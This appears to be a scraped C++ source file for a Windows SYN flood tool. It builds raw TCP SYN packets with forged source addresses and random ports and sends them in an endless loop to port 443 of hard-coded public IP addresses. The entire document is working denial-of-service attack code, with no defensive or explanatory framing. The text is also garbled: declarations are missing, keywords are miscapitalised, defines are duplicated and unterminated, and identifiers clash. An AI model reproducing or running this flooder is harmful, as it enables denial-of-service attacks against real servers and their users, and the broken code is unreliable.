// 2. CPP: defines the entry point of the console application. //

#include “stdafx.h” #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <ws2tcpip.h> #include <stdlib.h> #pragma comment(lib,”ws2_32.lib”)

#define SYN_DEST_IP “112.25.57.102” #define SYN_DEST_IP “112.25.57.102 #define SYN_DEST_IP “192.168.145.131” #define SYN_DEST_IP “202.101.244.16”

//#define SYN_SOUR_IP “172.20.10.7” #pragma pack(push,1) typedef struct _iphdr //4 bits header length,4 bits IP version number unsigned char tos; // 8-bit service type TOS unsigned short total_len; //16 bits total length (bytes) unsigned short ident; // unsigned short frag_and_flags; //3 bits unsigned char TTL; //8 bits TTL unsigned char proto; //8 bit protocol (TCP, UDP or other) unsigned short checksum; // 16-bit IP header checksum unsigned int sourceIP; // 32-bit source IP address unsigned int destIP; // 32-bit destination IP address}IP_HEADER; Unsigned long saddr; unsigned long saddr; // Unsigned long daddr; // Destination address char MBZ; //, for padding alignment char PTCL; // Protocol type unsigned short TCPL; / / TCP length} psd_header; Typedef struct _tcphdr // define TCP header {USHORT th_sport; // 16-bit source port USHORT TH_dport; // 16-bit destination port unsigned int th_seq; // Unsigned int th_ack; // Unsigned char th_lenres; //4 bit header length /6 bit reserved word unsigned char th_flag; //6 flag bits USHORT TH_win; // 16-bit window size USHORT TH_sum; // 16-bit checksum USHORT TH_URp; // 16-bit emergency data offset}TCP_HEADER; #pragma pack(pop) //CheckSum: USHORT CheckSum (USHORT *buffer, int size) {unsigned long cksum = 0; while (size >1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += (UCHAR)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (USHORT)(~cksum); } void random_ip(char * STR){int a, b, c, d; a = rand() % 255; b = rand() % 255; c = rand() % 255; d = rand() % 255; sprintf(str, “%d.%d.%d.%d”, a, b, c, d); }

Int main() {int datasize, ErrorCode,iresult; int flag = 1, SendSEQ = 0; char SendBuf[500] = {0}; WSADATA wsaData;

struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; // Initialize SOCK_RAW if ((ErrorCode = WSAStartup(MAKEWORD(2, 2), &wsaData))! = 0){printf(" Initialization failed! \n"); } int SockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP); If (SockRaw == INVALID_SOCKET){printf(" Create socket failed! Error code: %d\n", WSAGetLastError()); } flag = TRUE; Int opt = setsockopt(SockRaw, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)); Printf (" Error setting IP_HDRINCL! Error code: %d\n", WSAGetLastError()); } memset(&DestAddr, 0, sizeof(DestAddr)); DestAddr.sin_family = AF_INET; DestAddr.sin_port = htons(443); DestAddr.sin_addr.S_un.S_addr = inet_addr(SYN_DEST_IP); While (1) {// Forge IP source address char fake_ip[20]; random_ip(fake_ip); int port; port = rand() % 65535; / / fill in IP header ip_header. H_verlen = (4 < < 4 | sizeof (ip_header)/sizeof (unsigned long)); // The higher bits of the IP version number, the lower bits of the header length ip_header.tos = 0; ip_header.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); // 16-bit total length (bytes) ip_header.ident = 1; // 16-bit identifier ip_header.frag_and_flags = 0; //3 bit flag bit ip_header. TTL = 128; // 8-bit TTL ip_header.proto = IPPROTO_TCP; // 8-bit protocol (TCP,UDP...) ip_header.checksum = 0; Ip_header. sourceIP = inet_addr("172.20.10.7"); // 16-bit IP header checksum ip_header.sourceIP = inet_addr("172.20.10.7"); // fake_ip); // Forge the 32-bit source IP address ip_header.destIP = inet_addr(SYN_DEST_IP); // 32-bit destination IP address // Fill in the TCP header tcp_header.th_sport = htons(port); Tcp_header. th_dport = htons(443); // Destination port number tcp_header.th_seq = htonl(SEQ + SendSEQ); Tcp_header. th_ack = 0; / / ACK serial number set to 0 tcp_header. Th_lenres = (sizeof (tcp_header) / 4 < < 4 | 0); //TCP length and reserved bits tcp_header.th_flag = 2; // tcp_header.th_win = htons(6384); // Window size tcp_header.th_urp = 0; // offset tcp_header.th_sum = 0; Psd_header. saddr = ip_header.sourceIP; psd_header.saddr = ip_header.sourceIP; // Source address psd_header.daddr = ip_header.destIP; // destination address psd_header. MBZ = 0; psd_header.ptcl = IPPROTO_TCP; // Protocol type psd_header. TCPL = htons(sizeof(tcp_header)); // Calculate IP checksum memcpy(SendBuf, &psd_header, sizeof(psd_header)); memcpy(SendBuf + sizeof(psd_header), &tcp_header, sizeof(tcp_header)); tcp_header.th_sum = checksum((USHORT *)SendBuf, sizeof(psd_header)+sizeof(tcp_header)); memcpy(SendBuf, &ip_header, sizeof(ip_header)); memcpy(SendBuf + sizeof(ip_header), &tcp_header, sizeof(tcp_header)); datasize = sizeof(ip_header)+sizeof(tcp_header); Iresult = sendto(SockRaw, SendBuf, datasize+20, 0, (struct sockAddr *) &DestAddr, sizeof(DestAddr)); If (iresult == SOCKET_ERROR) {printf(" Send failed! Error code: %d\n", WSAGetLastError()); break; } else printf(" random IP address: %s\n", fake_ip); Printf (" random port: %d\n", port); Printf (" buffer contents: %s\n", SendBuf); }//End of While closesocket(SockRaw); WSACleanup(); return 0;Copy the code

}